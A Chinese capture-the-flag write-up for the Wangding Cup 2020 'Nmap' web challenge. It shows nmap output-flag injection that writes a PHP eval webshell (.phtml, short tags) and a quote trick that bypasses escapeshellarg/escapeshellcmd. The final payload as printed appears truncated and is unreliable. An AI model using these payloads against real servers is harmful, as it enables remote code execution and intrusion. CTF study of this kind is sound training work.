[网鼎杯 2020 朱雀组]Nmap 1

[网鼎杯 2020 朱雀组]Nmap 1

首先得到题目打开得到

[网鼎杯 2020 朱雀组]Nmap 1_第1张图片

说是输入houst和IP进行扫描

测试一波:127.0.0.1

得到:

[网鼎杯 2020 朱雀组]Nmap 1_第2张图片

本地测一下nmap 命令得到:

[网鼎杯 2020 朱雀组]Nmap 1_第3张图片
发现效果一样

这里需要知道
nmap 命令将扫描结果保存在文件里面:

例如:将nmap 127.0.0.1的结果保存在test.txt里面

nmap 127.0.0.1 -oN test.txt

[网鼎杯 2020 朱雀组]Nmap 1_第4张图片

nmap其他写文件命令:

-oN (标准输出)

-oX (XML输出)

-oS (ScRipT KIdd|3 oUTpuT)

-oG (Grep输出)

-oA (输出至所有格式)

这样我们就能写shell

<?= @eval($_POST[1]); ?> -oG a.phtml

回到题目测试得到:

[网鼎杯 2020 朱雀组]Nmap 1_第5张图片

发现有检查测试一下过滤了写什么

发现过滤了php

就想办法绕过:

这里的php用短标签代替:

文件格式用:phtml代替

所以playload:

<?= @eval($_POST[1]); ?> -oG a.phtml

[网鼎杯 2020 朱雀组]Nmap 1_第6张图片
发现没有写入文件

应为进行了escapeshellarg()与escapeshellcmd()函数处理保护,没法产生文件

可以进行单引号和空格绕过,
具体看大佬博客:https://paper.seebug.org/164/

得到playload:

' $_POST[1]);?> -oG a.phtml '

写入成功:

在这里插入图片描述
访问得到:

[网鼎杯 2020 朱雀组]Nmap 1_第7张图片

执行命令获取flag

[网鼎杯 2020 朱雀组]Nmap 1_第8张图片
参考博客:

https://blog.csdn.net/m0_52199518/article/details/115454428

你可能感兴趣的:(web安全)